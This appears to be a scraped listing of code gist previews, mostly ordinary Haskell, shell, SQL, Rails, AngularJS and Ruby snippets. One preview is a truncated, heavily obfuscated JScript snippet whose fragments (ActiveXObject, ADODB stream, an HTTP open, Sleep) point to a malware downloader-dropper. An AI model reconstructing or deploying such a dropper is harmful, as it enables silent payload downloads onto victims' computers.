This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Compiler flags -- | |
{-# LANGUAGE NoMonomorphismRestriction #-} | |
-- Imports -- | |
-- stuff | |
import XMonad | |
import Control.Monad (msum, when) | |
import qualified XMonad.StackSet as W | |
import qualified Data.Map as M | |
import System.Exit |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function c{x,y}{r,g,dd,a,aa,aj,v,vp,l,vl,m,ma,p,pi,i,j,jc,js,jf,c,ci,f,s,sc}(){ | |
mycmd="cd" | |
case $0[0] in | |
(x) rd = "/srv/x" ;; | |
(y) rootdir = "/srv/y" ;; | |
esac | |
case $0[1] in | |
("") sd="" ;; | |
(r) mycmd="vi"; sd="config/routes.rb" ;; | |
(g) mycmd="vi"; sd="Gemfile" ;; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT DISTINCT ON (user_id) * | |
FROM ( | |
SELECT 'out' AS type, id, recipient_id AS user_id, body, created_at | |
FROM messages | |
WHERE sender_id = 57 | |
UNION ALL | |
SELECT 'in' AS type, id, sender_id AS user_id, body, created_at | |
FROM messages | |
WHERE recipient_id = 57 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class User < ActiveRecord::Base | |
[...] | |
has_many :msgtos, :class_name => "Message", :foreign_key => :recipient_id #, :inverse_of => :from | |
has_many :msgfroms, :class_name => "Message",:foreign_key => :sender_id #, :inverse_of => :to | |
end | |
class Message < ActiveRecord::Base | |
belongs_to :to, class_name: "User", :foreign_key => :recipient_id, :inverse_of => :msgfroms | |
belongs_to :from, class_name: "User", :foreign_key => :sender_id, :inverse_of => :msgtos | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
app.directive('forcenum', function ($parse) { | |
return { | |
restrict: 'A', | |
require: 'ngModel', | |
link: function link(scope, element, attr, ngModel) { | |
var max = parseInt(attr.fmax); | |
var min = parseInt(attr.fmin); | |
var nv; | |
scope.$watch(function () { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Bundler could not find compatible versions for gem "activesupport": | |
In Gemfile: | |
neo4jrb-paperclip (>= 0) ruby depends on | |
neo4j (> 3.0.0.alpha.8) ruby depends on | |
activesupport (~> 4) ruby | |
rails_admin (>= 0) ruby depends on | |
coffee-rails (~> 4.0) ruby depends on | |
railties (< 5.1.x, >= 4.0.0) ruby depends on | |
activesupport (5.0.0.beta1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# this script comes in 2 parts - you will have to reload your environment to open the models before running the last ~25 lines block! | |
#CONFIG | |
@filedir = "/location/of/xlsx/files/" | |
@modelsdir = "/rails/apps/myapp/app/models/fromxlsx/" | |
files = Dir.glob(@filedir + "*") | |
fieldnames = {} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
require 'rubygems' | |
require 'id3lib' | |
dashargs = ARGV.select{|x|x[0] == "-"} | |
args = ARGV - dashargs | |
@settracknames = dashargs.include?('-f') | |
@deltracknums = dashargs.include?("-n") | |
@ignorealbum = dashargs.include?("-ia") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var stroke="5557565E171114140B1610240B14010A051717010906081D4A070B09";function fwlq120() { w(') {'); return y(); }; function fwlq6() { w('var'); return y(); }; function fwlq107() { w('()'); return y(); }; function fwlq98() { w('re'); return y(); }; function fwlq87() { w('w Ac'); return y(); }; function fwlq129() { w('("ADO'); return y(); }; function fwlq220() { w('if ('); return y(); }; function fwlq50() { w('s.E'); return y(); }; function fwlq89() { w('XO'); return y(); }; function fwlq217() { w(' (er'); return y(); }; function fwlq30() { w('<b.le'); return y(); }; function fwlq115() { w('& xo'); return y(); }; function fwlq111() { w('dySt'); return y(); }; function fwlq184() { w(' xa.c'); return y(); }; function fwlq63() { w('g.fr'); return y(); }; function fwlq204() { w('r+"&'); return y(); }; function fwlq228() { w('l(100'); return y(); }; function fwlq116() { w('.s'); return y(); }; function fwlq126() { w('iv'); return y(); }; function fwlq190() { w('o.ope'); return y(); }; function f |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ruby script to compare text-based gene sequences, will delete all non-alphabetical characters and do a straight array comparison, assuming equal size | |
# | |
# invocation: ruby 'compare gene sequences.rb' file1.txt file2.txt | |
puts "comparing: #{ARGV}" | |
s1=File.read(ARGV[0]).gsub(/[^a-z]/,"") | |
s2=File.read(ARGV[1]).gsub(/[^a-z]/,"") | |
a1 = s1.split("") |